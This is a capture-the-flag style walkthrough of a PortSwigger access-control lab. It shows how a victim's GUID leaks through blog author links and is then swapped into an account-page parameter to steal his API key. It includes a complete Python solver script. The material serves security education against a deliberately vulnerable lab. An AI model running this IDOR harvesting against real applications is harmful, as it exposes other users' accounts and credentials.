LearnAccess Control › Lab: User ID controlled by request parameter, wi…

Lab: User ID controlled by request parameter, with unpredictable user IDs

PortSwigger Apprentice Access Control

Original lab: Lab: User ID controlled by request parameter, with unpredictable user IDs on PortSwigger ↗

Swapping a username in an id parameter is trivial when usernames are the identifier. Switch that identifier to a GUID and the naive version of the attack — just guess the next value — stops working entirely. The vulnerability doesn't go away, though; it just relocates the hard part from "guess the ID" to "find the ID somewhere it leaked."

The Target

Same account-page pattern as the previous lab — /my-account?id=<identifier> — except this application uses opaque GUIDs instead of usernames as the identifier. The site also has a blog section where posts are attributed to their authors, including carlos.

The Investigation

An unguessable ID only stays unguessable if it's never exposed anywhere else. Blog posts attributed to carlos were the obvious place to look — an author byline on a public post is exactly the kind of feature that tends to link out to the author's profile using the same identifier the account page expects.

We pulled the blog listing, followed links into individual posts, and searched each post's HTML for a GUID-shaped userId parameter appearing near carlos's name:

/blogs, /post?postId=N                     -- Blog posts expose author userId GUIDs
regex: userId=([a-f0-9-]{36})              -- Extract GUIDs from blog post pages

That surfaced carlos's GUID sitting in a link on his own blog post — the "unpredictable" ID handed straight to us by a feature that had nothing to do with account security.

The Exploit

With the GUID in hand, we logged in as wiener and swapped it into the id parameter on the account page, exactly as in the previous lab:

resp = client.get(f"{base}/my-account", params={"id": carlos_guid})

The response rendered carlos's account page and API key under wiener's session. We extracted the key and submitted it, solving the lab.

Comparing Notes: PortSwigger's Official Solution

PortSwigger's solution follows the identical logic: find a blog post by carlos, click through to note his user ID from the URL, log in, and swap that ID into the id parameter on the account page to retrieve and submit the API key. Same discovery source, same exploitation step.

The difference is scale, not technique — PortSwigger's walkthrough manually clicks one post by carlos and reads the ID off the URL bar. Our script instead swept the blog listing and every post it linked to, regex-matching for a GUID near carlos's name across all of them, which is really just automating the same manual lookup so it doesn't depend on knowing in advance which single post to click.

What This Teaches Us

Switching from sequential IDs to GUIDs raises the cost of blind guessing, but it does nothing for an identifier that's disclosed elsewhere in the application. The account page's access control gap is identical to the previous lab's — no check that the session owns the requested id — and the GUID only changes how an attacker has to *obtain* a valid target identifier, not whether the underlying request will honor it. Unpredictability is not a substitute for authorization; it just shifts the attacker's work from guessing to searching.


The automated solution

Here's the full Python script that solves this lab against your own instance — the same technique from the writeup, packaged to run. View on GitHub.

Show the solution script (Python)
#!/usr/bin/env python3
"""
User ID controlled by request parameter, with unpredictable user IDs
PortSwigger Web Security Academy -- Access Control

Companion script for the writeup: 06-user-id-controlled-unpredictable-user-ids.md

What this does:
    Sweeps the blog listing and every post it links to, regex-matching for a
    GUID-shaped userId parameter appearing near "carlos" on each post's page
    -- author bylines leak the same identifier the account page expects.
    Once carlos's GUID is found, logs in as wiener and swaps it into
    /my-account?id=<guid> to extract and submit carlos's API key.

Usage:
    python 06-user-id-controlled-unpredictable-user-ids.py <lab-url>

Requirements:
    pip install httpx
"""

import re
import sys
import httpx


def get_csrf(html: str) -> str:
    m = re.search(r'name="csrf"\s+value="([^"]+)"', html)
    return m.group(1) if m else ""


def login(client: httpx.Client, base: str, username: str, password: str) -> httpx.Response:
    login_page = client.get(f"{base}/login")
    csrf = get_csrf(login_page.text)
    return client.post(f"{base}/login", data={"csrf": csrf, "username": username, "password": password})


def find_carlos_guid(client: httpx.Client, base: str) -> str | None:
    resp = client.get(base)
    blog_links = re.findall(r'href="(/blogs[^"]*)"', resp.text) or re.findall(r'href="(/post[^"]*)"', resp.text)

    for link in blog_links[:20]:
        try:
            post_resp = client.get(f"{base}{link}")
        except httpx.HTTPError:
            continue
        carlos_match = re.search(r'userId=([a-f0-9-]{36})[^"]*"[^>]*>\s*carlos', post_resp.text, re.IGNORECASE)
        if carlos_match:
            return carlos_match.group(1)
        if "carlos" in post_resp.text.lower():
            guid_match = re.search(r'userId=([a-f0-9-]{36})', post_resp.text)
            if guid_match:
                return guid_match.group(1)

    # Fallback: sweep the blog listing more broadly and confirm ownership per GUID.
    resp = client.get(f"{base}/blog")
    all_matches = re.findall(r'userId=([a-f0-9-]{36})', resp.text)
    for guid in set(all_matches):
        check = client.get(f"{base}/blogs", params={"userId": guid})
        if "carlos" in check.text.lower():
            return guid
    return None


def solve(lab_url: str) -> None:
    client = httpx.Client(follow_redirects=True, timeout=15)

    carlos_guid = find_carlos_guid(client, lab_url)
    if not carlos_guid:
        print("[-] Could not find carlos's GUID in blog posts.")
        return
    print(f"[+] Carlos GUID: {carlos_guid}")

    login(client, lab_url, "wiener", "peter")

    resp = client.get(f"{lab_url}/my-account", params={"id": carlos_guid})
    print(f"[*] /my-account?id={carlos_guid}: {resp.status_code}")

    key_match = re.search(r'Your API key is:\s*([a-zA-Z0-9]+)', resp.text)
    if not key_match:
        key_match = re.search(r'API [Kk]ey[^<]*?([a-zA-Z0-9]{20,})', resp.text)
    if not key_match:
        key_match = re.search(r'<div[^>]*>([a-zA-Z0-9]{20,})</div>', resp.text)

    if not key_match:
        print("[-] Could not extract API key.")
        return

    api_key = key_match.group(1)
    print(f"[+] Carlos API key: {api_key}")

    resp = client.post(f"{lab_url}/submitSolution", data={"answer": api_key})
    print(f"[*] Submitted: {resp.status_code}")

    check = client.get(lab_url)
    if "Congratulations" in check.text:
        print("[+] Lab solved -- carlos's API key stolen via GUID-based IDOR.")
    else:
        print("[-] Not solved yet -- confirm the extracted GUID actually belongs to carlos.")


if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: python {sys.argv[0]} <lab-url>")
        sys.exit(1)
    solve(sys.argv[1].rstrip("/"))

Related labs

Want to go from zero to junior pentester?

These walkthroughs are a taste. The full path — live, hands-on, in a small cohort — starts with a free webinar.

Join the Free Live Webinar →